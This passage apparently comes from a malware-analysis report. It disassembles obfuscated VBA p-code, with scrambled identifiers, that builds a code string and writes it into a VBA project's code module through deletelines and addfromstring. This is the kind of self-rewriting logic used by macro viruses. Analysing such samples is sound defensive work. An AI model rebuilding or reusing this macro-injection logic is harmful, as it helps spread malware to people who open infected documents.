' 	EndIfBlock 
' Line #106:
' 	StartForVariable 
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	EndForVariable 
' 	NextVar 
' Line #107:
' 	EndIfBlock 
' Line #108:
' 	LitStr 0x0000 ""
' 	St var 
' Line #109:
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #110:
' 	LitDI2 0x0000 
' 	St §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' Line #111:
' 	GoTo …º½®‘”µˆ¥ª¼�§ËŠ¦ 
' Line #112:
' 	EndIfBlock 
' Line #113:
' 	EndIfBlock 
' Line #114:
' 	Loop 
' Line #115:
' 	LitDI2 0x0001 
' 	St §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' Line #116:
' 	GoTo »˜¨ˆ´–¼È™Å§–•©¤Œ¯ 
' Line #117:
' 	Label …º½®‘”µˆ¥ª¼�§ËŠ¦ 
' Line #118:
' 	Ld ˃ 
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St ˃ 
' Line #119:
' 	LitStr 0x0000 ""
' 	St  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' Line #120:
' 	Loop 
' Line #121:
' 	Ld ˃ 
' 	LitStr 0x0008 " End Sub"
' 	Concat 
' 	St ˃ 
' Line #122:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ¿¦Åƺ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0001 
' 	Ld ¿¦Åƺ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #123:
' 	Ld ˃ 
' 	Paren 
' 	LitDI2 0x0001 
' 	Ld ¿¦Åƺ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall addfromstring 0x0001 
' Line #124:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.